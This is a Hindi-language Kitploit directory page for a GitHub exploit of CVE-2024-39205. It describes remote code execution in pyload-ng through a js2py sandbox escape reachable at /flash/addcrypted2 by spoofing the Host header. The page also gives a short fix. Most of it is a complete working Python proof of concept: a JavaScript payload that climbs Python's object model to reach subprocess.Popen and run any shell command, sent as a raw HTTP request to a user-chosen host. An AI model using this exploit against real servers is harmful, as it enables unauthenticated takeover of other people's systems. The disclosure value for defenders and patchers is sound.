Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/marven11/cve-2024-39205-pyload-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubmarven11/cve-2024-39205-pyload-rce

CVE-2024-39205-Pyload-RCE

Pyload RCE with js2py sandbox escape

रिपॉजिटरी देखें
1831 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-39205-Pyload-RCE

js2py सैंडबॉक्स एस्केप के साथ Pyload RCE

सारांश

कोई भी pyload-ng जो python3.11 या उससे नीचे चल रहा है, RCE के प्रति संवेदनशील है। हमलावर कोई भी शेल कमांड युक्त अनुरोध भेज सकता है और पीड़ित सर्वर तुरंत उसे निष्पादित करेगा।

समाधान

pyload-ng के नवीनतम संस्करण में अपग्रेड करें या बस pyload को python3.12 या उससे ऊपर के साथ चलाएं।

विवरण

js2py में CVE-2024-28397 के रूप में निर्धारित सैंडबॉक्स एस्केप की कमजोरी है, जिसका उपयोग pyload-ng के /flash/addcrypted2 API एंडपॉइंट द्वारा किया जाता है। यद्यपि यह एंडपॉइंट केवल localhost कनेक्शन स्वीकार करने के लिए डिज़ाइन किया गया है, हम HTTP Header का उपयोग करके इस प्रतिबंध को बायपास कर सकते हैं, इस प्रकार इस API तक पहुँच प्राप्त कर सकते हैं और RCE प्राप्त कर सकते हैं।

PoC

PoC नीचे प्रदान किया गया है, आप इसमें निष्पादित होने वाले शेल कमांड को संशोधित कर सकते हैं:

root@kitploit:~
import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


प्रभाव

जो कोई भी python3.11 या उससे नीचे पर pyload-ng का नवीनतम संस्करण (<=0.5.0b3.dev85) चलाता है। pyload-ng python3.12 या उससे ऊपर के लिए js2py का उपयोग नहीं करता है।

लिंक्स

https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g

टूल डाउनलोड करें